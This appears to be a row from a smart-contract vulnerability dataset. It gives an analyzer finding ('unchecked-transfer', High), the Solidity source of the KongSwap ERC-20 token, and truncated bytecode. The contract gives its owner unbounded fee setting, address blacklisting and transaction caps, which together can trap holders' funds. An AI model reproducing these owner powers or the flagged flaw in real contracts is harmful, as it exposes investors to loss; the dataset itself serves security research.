78c93572f00f326a820f31af9997d62b19e33b76e5e9d9598e709ea30964736f6c63430007040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 625 |
0x56f02f52fd33b8c1976909228b876fc32aab1344 | /**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
/**
https://kongswap.app/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Kongswap is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KongSwap";
string private constant _symbol = "KONGSWAP";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 11;
//Sell Fee
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x25d5F0dafEf2ACC91AaEaE70A519F52d9Dd44277);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 30000000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
} | 0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80638da5cb5b116100d15780638da5cb5b146104f65780638eb59a5f146105215780638f70ccf7146105385780638f9a55c014610561576101d7565b8063715018a61461048b57806374010ece146104a25780637d1db4a5146104cb576101d7565b80632fd689e31161016f578063672434821161013e57806367243482146103d35780636b999053146103fc5780636d8aa8f81461042557806370a082311461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f578063658d4b7f146103aa576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612e46565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190612f17565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f6f565b61084e565b6040516102649190612fca565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f9190612fe5565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b89190613084565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906130ae565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e91906130c9565b61092a565b6040516103209190612fca565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906130ae565b60405180910390f35b34801561036057600080fd5b50610369610a09565b6040516103769190613138565b60405180910390f35b34801561038b57600080fd5b50610394610a12565b6040516103a19190613162565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc91906131a9565b610a38565b005b3480156103df57600080fd5b506103fa60048036038101906103f5919061329a565b610b0f565b005b34801561040857600080fd5b50610423600480360381019061041e919061331b565b610bff565b005b34801561043157600080fd5b5061044c60048036038101906104479190613348565b610cd6565b005b34801561045a57600080fd5b506104756004803603810190610470919061331b565b610d6f565b60405161048291906130ae565b60405180910390f35b34801561049757600080fd5b506104a0610db8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190613375565b610e40565b005b3480156104d757600080fd5b506104e0610ec6565b6040516104ed91906130ae565b60405180910390f35b34801561050257600080fd5b5061050b610ecc565b6040516105189190613162565b60405180910390f35b34801561052d57600080fd5b50610536610ef5565b005b34801561054457600080fd5b5061055f600480360381019061055a9190613348565b610f9d565b005b34801561056d57600080fd5b50610576611036565b60405161058391906130ae565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190612f17565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613375565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f6f565b6110ff565b6040516106149190612fca565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f919061331b565b61111d565b6040516106519190612fca565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b50610698600480360381019061069391906133a2565b6111d2565b6040516106a591906130ae565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613375565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f9919061331b565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107739061342e565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a061344e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610805906134ac565b91505061077f565b5050565b60606040518060400160405280600881526020017f4b6f6e6753776170000000000000000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df9061342e565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f9060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a40611495565b73ffffffffffffffffffffffffffffffffffffffff16610a5e610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab9061342e565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b17611495565b73ffffffffffffffffffffffffffffffffffffffff16610b35610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b829061342e565b60405180910390fd5b60005b84849050811015610bf857610be433868684818110610bb057610baf61344e565b5b9050602002016020810190610bc5919061331b565b858585818110610bd857610bd761344e565b5b90506020020135612062565b508080610bf0906134ac565b915050610b8e565b5050505050565b610c07611495565b73ffffffffffffffffffffffffffffffffffffffff16610c25610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c729061342e565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cde611495565b73ffffffffffffffffffffffffffffffffffffffff16610cfc610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d499061342e565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc0611495565b73ffffffffffffffffffffffffffffffffffffffff16610dde610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b9061342e565b60405180910390fd5b610e3e6000612235565b565b610e48611495565b73ffffffffffffffffffffffffffffffffffffffff16610e66610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb39061342e565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610efd611495565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f689061342e565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b610fa5611495565b73ffffffffffffffffffffffffffffffffffffffff16610fc3610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614611019576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110109061342e565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600f5481565b60606040518060400160405280600881526020017f4b4f4e4753574150000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec9061342e565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b09061342e565b60405180910390fd5b60006111c430610d6f565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc9061342e565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113529061342e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613567565b60405180910390fd5b6000600460006113d9610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906135f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115749061368b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906130ae565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf9061371d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f906137af565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613841565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906138ad565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613919565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906139ab565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb91906139cb565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1091906139cb565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613a93565b60405180910390fd5b5b600f5481611b5f84610d6f565b611b6991906139cb565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613b25565b60405180910390fd5b5b6000611bb530610d6f565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190612f17565b60405180910390fd5b50600083856120559190613b45565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906130ae565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d9190613b45565b905060004790506000600267ffffffffffffffff81111561237157612370612ca5565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b661344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190613b8e565b816001815181106124a5576124a461344e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613cb4565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af91906139cb565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb90613d5a565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f9190613d7a565b905082848261272e9190613e03565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613ea6565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128